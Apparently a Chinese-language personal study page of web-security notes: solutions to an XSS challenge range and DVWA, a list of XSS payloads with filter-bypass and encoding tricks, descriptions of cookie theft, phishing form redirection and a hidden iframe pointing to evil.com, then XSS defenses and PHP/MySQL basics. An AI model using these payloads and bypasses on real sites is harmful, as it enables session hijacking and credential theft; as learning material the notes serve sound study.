2021年4月

靶场地址

  1. <script>alert(1)</script>
  2. </textarea><scRipt>alert(1)</scrIpt>
  3. "><script>alert(1)</script>
function render (input) {
  return '<input type="name" value="' + input + '">'
}
  1. <script>alert`1`</script>
function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
  过滤括号
}

5.<img src=x onerror="alert &#40 1 &#41" />

屏蔽括号和反引号,利用HTML属性能够识别ASCII码进行绕过,码后面的;可加可不加

6.--!><img src=x onerror="alert &#40 1 &#41" />

7.

type="image" src=x onerror
="alert(1)"
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}逃逸

8.<img src=x onerror="alert(1)"

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}语法松散,少输一个>也能识别

9.

</style
><img src=x onerror="alert(1)" >
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

10

http://www.segmentfault.com"></script><script>alert(1)</script>

或者
https://www.segmentfault.com" onload=alert(1)>
function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

b.</h1><img src=x onerror="&#97;&#108;&#101;&#114&#116 &#40 &#49 &#41">

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}全部转大写,html不在意大小写,js严格区分

c.<svg/onload="&#97;&#108;&#101;&#114&#116 &#40 &#49 &#41"

移除script,转大写,用svg
function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

d.


alert`1`;
-->
function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}逃逸,利用半个注释号

E.利用古英语ſ来代替s

DVWA xss dom

easy :?default=English"'><script>alert(1)</script>
avatar

mid:可以看到他把<script>给过滤掉了
English"'></option></select><img src=x onerror=alert(1)>

high:采用了白名单,查了下,使用注释绕过English#</option></select><img src="" οnerrοr=alert(/xss/)></option>

测试技巧

2021XSS语句大全

一般情况下,XSS攻击是通过HTML注入完成的,配合着客户端的HTML源文件来发掘XSS

js伪协议:他声明url的实体是js代码,由js引擎来执行

反射型

例如http:www.abc.com/x1/index.php?a_value=,在提交表单处进行xss测试"><img src=1 onerror=alert(1)/>,合并后查看源码变成<input type="text" value=""><img sr=1 onerror=alert(1)/>">,可以看到我们插入的代码把前面的闭合掉之后后面插入了我们的私活

存储型

在类似留言板的地方放入如<img src=x onerror=alert(1)/>,与反射型不同的是,这些代码是会被存储在服务器里的,后面看到的时候也会生效

DOM

在有类似我在第一篇里面那种点击替换图片的代码的地方,可以考虑进行XSS测试

流程

  1. 测试闭包,随便输点什么东西,看源码找闭包,一般是">或者</textarea>之类的
  2. 可以输入一些能够触发XSS的敏感字符,如<>'"&#之类的,或者直接输入常用测试语句,如
<script>alert(/1/)</script>
<img src=x onerror=alert(1)>
<a href=javascript:alert(1)>
<svg onload=alert(1)>
"><script >alert(document.cookie)</script>
<div style="width:expression(alert(1));">

过滤绕过

(部分详细内容可以参考第一篇里面的技巧)

1.script等关键字过滤:

1. 复写``<scri<script>pt>``
2. 大小写混写
3. 使用全角字符(expression)
4. 使用注释/**/来混淆
5. 利用``\``和\0来进行混淆``@\0im\port'\0ja\vascr\000000ipt:alert("xixi")';``(CSS样式)
6. 空格、换行、制表符等等
7. ASCII码形式的换行符等等

2.<>标签过滤:

1.用标签属性、事件等触发``"onfocus="alert(xss)``
2.如果是转义,且为GBK编码,则考虑宽字节%bf

3.编码

js:
    1. 三位八进制,不够补0:\145
    2. 二位十六进制:\x65
    3. 四位十六进制:\u0065
    4. C类型的特殊转义字符``\n``

HTML:
1.  命名实体,如``<为&lt;``,<svg>能够翻译实体``<svg><script>alert&#40;1&#41;</script>``
2.  字符编码:格式为&#数值的十进制、十六进制ASCII、unicode编码

URL:
    1. 两次URL全编码

4.括号过滤

1. 用反引号代替括号

5.字数限制

1. 分段
2. 用bp抓包修改


全局变量,在代码审计的时候可以作为主要对象
avatar

Cookie是由服务器提供的存储在客户端的数据,用于识别用户身份和保存会话状态,由于HTTP的无连接性,所以采用这一种方法来保存会话

Cookie分为两种,一种是session cookie,这是临时的,保存在内存里面,一但关闭浏览器会话就结束了,另外一种是存放在内存里,属于永久型cookie

常见Cookie属性

name:名称
value:值
domain:此cookie的域名
path:访问cookie的页面路径
expires/Max-Age:超时时间
Size:大小
http/httponly:只能通过http请求头来带有cookie信息,而不腻通过document.cookie来访问cookie
secure:只能通过https来传递此条cookie

创建cookie的语句<?PHP setcookie(name,value,expire,path,domain,secure) ?>

通过javascript来读取document.cookie可以获得cookie信息

获取cookie的脚本示例
avatar
avatar

在自己的服务器上搭建好获取cookie的文件,然后用src属性构造连接骗人点击后获取对方的cookie

钓鱼攻击

攻击者会构造钓鱼页面,一般是登录表单部分,然后修改登录表单的地址,比如说远程服务器上的接受信息的页面为t.php,就把<from>标签里的action值改成<form method="post" action="http://www.xxxx.com/t.php">,然后在那个服务器的t.php里面写上用于接收和记录账号和密码信息的程序文件,如下图
avatar
接收到username\password等信息后,利用header函数跳转到正常的网站

方法二:构造钓鱼链接http://www.目标.com/index.php?s=<script src="http://www.xxx.com/xx.js></script>"这个xx.js里面构造一个iframe框架覆盖目标页面,在加载远程域伪造的钓鱼页面
avatar

网页挂马

<iframe src=http://www.xxx.com/xx.html width=0 height=0></iframe>篡改网页后,由于iframe的高度和宽度都设置为0,所以用户不会注意到<script>document.write("<iframe src=http://www.evil.com/xxx.html width=0 heigth=0></iframe>")</script>

其他也可以用js来获取用户的粘贴板内容、ip地址等等

XSS(Cross-Site Scripting,XSS)类型

反射型:又叫非持久型,攻击者通过右键等方式将XSS代码发给目标,当目标访问连接的时候,服务器接收并处理,浏览器解析这段带有XSS代码,例如http://www.test.com/haha.php?name="><script>alert("xixi")</script>

存储型:攻击脚本通过留言板等地方一起被存储在服务器里,当其他用户浏览了这个被注入恶意脚本的帖子的时候,恶意代码就会被执行

DOM型XSS:一种基于DOM文档对象模型的漏洞,本质上是一种特殊类型的反射型XSS,浏览器为页面创建一个顶级的document object文档对象,接着在生成各个子文档对象,通过JS脚本对文档对象进行编辑来改变页面的元素,攻击者构造一个含有XSS代码的URL,当浏览器处理这个响应的时候,DOM对象就会处理XSS代码

XSS基础

2021依旧有效的XSS payload

PHP中使用$_REQUEST,所有用户输入的变量数组,包括$_GET$_POST$_COOKIE,4.3版本后不包括$_FILES

例如<?PHP echo $_REQUEST[name];?>这个代码代表从前面的表单当中获取属性为"name"的提交值

攻击脚本的本质

基于<>的攻击:
我们可以任意的使用<>等引入标记,以此来操纵一个HTML标签,然后通过<script>标签来插入js或vs编写的恶意脚本代码,如<script>alert('xixi')</script>

基于HTML标签属性
如果不能构造HTML标记,我们仍然可以通过javascript:code伪协议这一种方式来运行我们的js代码,如<img src="javascript:alert(/xixi/);">,要注意的是不是所有的浏览器都能够支持伪协议。如果可行的话,我们可以使用href\lowser\bgsound\background\value\action\dynsrc这些属性来测试XSS

空格
js语句常以分号结尾,如果js引擎认为一个语句是完整的且这一行的结尾有换行符,那么可以省略分号,如果一行中有多个语句,则每个语句必须以分号来结束,除了这两种方式以外,额外的空白字符都不会影响代码的执行,我们可以使用这种方式来拆分关键字以绕过waf,例如<img src="javas cript:alert('haha');" width=100>这个句子虽然当中有两个空格,但是依旧可以被执行

eval:js中的eval()可以计算字符串并执行内部的js代码,如<script>eval("alert('xxx')");<script>

ASCII
HTML属性值本身支持ASCII码格式,我们可以参照ASCII码表,把字符转化为对应的码以绕过,如t变成t,同理,我们还可以利用ASCII码来插入空白自如,如 TAB, 换行符, 回车符可以被插入代码中的任何地方,此外,\&#02等字符可以插到js或者vs的头部,如<img src="&#01;javascri&#09pt:alert(xixi)">

示例如下
avatar

ASCII表
avatar

基于事件的攻击
上面的几种方式都是想办法直接来执行我们的js代码,此外,我们可以靠事件来触发我们的代码,例如<input type="button" value="点这" onclick="alert('xixi')"/>当我们点击这个按钮的时候,就会触发我们的脚本

可使用的事件列表
onResume
onReverse
onRowInserted
onSeek
onSynchRestored
onTimeError
onTarckChange
onURLFlip
onRepeat
onMediaComplete
onMediaError
onPause
onProgress
onOutOFSync
oncontrolselect
onlayoutcomplete
onafterprint
onbeforeprint
ondatavailable
ondatasetchanged
ondatasetcomplete
onerrorupdate
onrowenter
onrrowexit
onrowsdelete
onrowsinserted
onbounce
onfinish
onstop
onresizeend

利用CSS跨站
avatar
CSS样式表在不同浏览器甚至是不同版本之间可能不通用。脚本通常嵌入到style标签或者属性里面,利用expression来执行js代码,如<img style="xss:expression(alert(/xss/));">,又或者使用样式表里面的url属性来执行xss<img style="background-image:url(javascript:alert('xss'))">

另外,我们可以把CSS脚本写在文件里面,用<link>标签来引用,如下例
avatar
另外还可以使用@import来引入文件,同时,@import能够直接执行javascript代码,如

<style>
@import 'javascript:alert("XSS");
</style>

混淆
混写大小写依旧可以执行代码,同时,属性可以使用双引号也可以使用单引号也可以都不使用,一样能被执行,如<ImG sRc=jaVascRipt:alert(1);>

如果空格被过滤,可以考虑使用/来代替空格<img/scr='javascript:alert(1);'>

可以使用全角字符来绕过avatar

/**/注释符会被浏览器忽略,所以可以使用这个来注释字符,或者插入混淆字符绕过过滤,如<div style="wid/****/th:expre/*heihei*/ssion(alert('xss'));">

面对黑名单式过滤,可以考虑使用注释字符来干扰
avatar

或者,样式标签中的\和结束符\0也会被无视,如@\0im\port'\0ja\vascr\000000ipt:alert("xixi")';或者也可以把关键字进行转码
avatar

利用HTML注释存在的问题执行js

<!--<img scr="--><img scr=x onerror=alert(1)//">
<comment><img scr="</comment><img src=x onerror=alert(1)//">

将HTML标签中的某些属性值转码成ASCII码,可以转成十进制(&#,后面的;可加可不加)或者十六进制(&#x),另外,上面提到的eval()函数,也可以把他内部的js代码转码成为十六进制码(格式为\n),或者配合使用String.fromCharCode()函数使用十进制码<img src="javascript:eval(String.fromCharCode(97,108,101......))">,另外,样式表也可以使用\连接的十六进制码,js则支持unicode,escapes,十六进制,八进制等等,另外对IE有script encode

拆分法:在未进行过滤但是有字符限制的地方,可以考虑拆分法
avatar
avatar

防御

XSS Filter:跨站脚本过滤器

XSS Filter一般基于黑白名单的安全过滤策略,如下图一般
avatar

preg_replace是一个支持正则的替换函数,用法为ixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )搜索subject中匹配pattern的部分,再用replacement来替代

过滤除了关键字,还得过滤掉&#\等特殊字符

css中的expression\javascript\import等关键字

avatar

要通过PHP连接到MySQL,需要为PHP脚本创建一个用户,以最少权限为原则,一般只需要给增删改查这几个权限

GRANT和REVOKE这两个可以授予或者取消MySQL用户的权限,权限分为四个等级:全局、数据库、表、列

GRANT命令格式

GRANT privileges [columns]权限列表
ON item权限所引用的库或者表
TO user_name [IDENTIFIED BY 'password']用户名可以被解释成[email protected],可以用此来区分用户从什么地方连接到
[REQUIRE ssl_options]
[WITH [GRANT OPTION | limit_options]]

用户权限类型:SELECT\INSERT\UPDATE\DELETE\INDEX\ALTER\CREATE\DROP

管理员权限:CREATE TEMPORARY TABLES\FILE\LOCK TABLES\PROCESS\RELOAD\REPLCATION CLIENT\REPLICATION SLAVE\SHOW DATABASES\SHUTDOWN\SUPER

特别权限:ALL(全部)\USAGE(只能登陆)

REVOKE命令

REVOKE privileges [(columns)]
ON item
FROM user_name

工作原理:

  1. 用户的浏览器发出一个HTTP请求,请求一个特定的Web页面,该搜索结果页面为a.php
  2. Web服务器接收到对a.php的请求之后,检索文件并传递给PHP引擎
  3. PHP引擎解析脚本,启动对MySQL服务器的连接并对服务器发送查询
  4. MySQL服务器接收到数据库查询的请求并查询,然后将查询结果返回给PHP引擎
  5. PHP引擎完成脚本运行后,将HTML返回给Web服务器
  6. Web服务器将HTML返回给客户端浏览器

以下是一个例子
avatar
avatar
avatar

从Web到数据库的步骤

  1. 检查并过滤
  2. 建立连接
  3. 查询数据库
  4. 获取查询结果
  5. 显示结果

以上面那个例子进行解释

检查并过滤

$searchterm = trim($_POST['searchterm']);,trim()函数会过滤两端空白字符

magic_quotes_gpc魔术引号开关,启用后将对post\get\sql进行转义处理,数据中心的单引号、双引号、反斜线与NULL等字符会被转义,这个配置在php.ini中可以进行设置

get_magic_quotes_gpc()该函数的用处是检查magic_quotes_gpc是否开启,7.4版本后被废弃

$searchtype = addslashes($searchtype),addslashes()函数将对上面几种字符进行转义,如果magic_quotes_gpc已经被打开无需再使用,如果使用会造成双重转义,但是请注意,如果参数没有被单引号包裹,那么这个函数将不起作用

stripslashes(),删除反斜杠

连接数据库

PHP在5.0版本的时候引进了mysqli,i表示改进,我们可以通过mysqli函数拓展来完成对数据库的操作

查看完整mysqli函数列表

$db = new mysqli('servername','username','password','database');最后的数据库名可以不加

查询数据库

使用$db->select_db(dbname)或者mysqli_select_db(db_resouce,db_name)来选择数据库

查询数据库$restult = $db->query($query)或者$result = mysqli_query($db,$query);

统计行数mysqli_num_rows($result);:可以知道结果的行数有多少,方便后面通过循环来取出里面的内容

与数据库断开连接

$result->free();
or
mysqli_free_result($result);
$db->close();
or
mysqli_close($db);

总览数据库操作

<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";
 
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检测连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
} 
 
// 使用 sql 创建数据表
$sql = "CREATE TABLE MyGuests (
id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, 
firstname VARCHAR(30) NOT NULL,
lastname VARCHAR(30) NOT NULL,
email VARCHAR(50),
reg_date TIMESTAMP
)";
 
if ($conn->query($sql) === TRUE) {
    echo "Table MyGuests created successfully";
} else {
    echo "创建数据表错误: " . $conn->error;
}
 
 $sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', '[email protected]')";
 
if ($conn->query($sql) === TRUE) {
    echo "新记录插入成功";
} else {
    echo "Error: " . $sql . "<br>" . $conn->error;
}

$sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', '[email protected]');";
$sql .= "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('Mary', 'Moe', '[email protected]');";
$sql .= "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('Julie', 'Dooley', '[email protected]')";
 
if ($conn->multi_query($sql) === TRUE) {
    echo "新记录插入成功";
} else {
    echo "Error: " . $sql . "<br>" . $conn->error;
}


$sql = "SELECT id, firstname, lastname FROM MyGuests";
$result = $conn->query($sql);
 
if ($result->num_rows > 0) {
    // 输出数据
    while($row = $result->fetch_assoc()) {
        echo "id: " . $row["id"]. " - Name: " . $row["firstname"]. " " . $row["lastname"]. "<br>";
    }
} else {
    echo "0 结果";
}//查询

$result = mysqli_query($con,"SELECT * FROM Persons
WHERE FirstName='Peter'");

while($row = mysqli_fetch_array($result))
{
    echo $row['FirstName'] . " " . $row['LastName'];
    echo "<br>";
}
$conn->close();
?>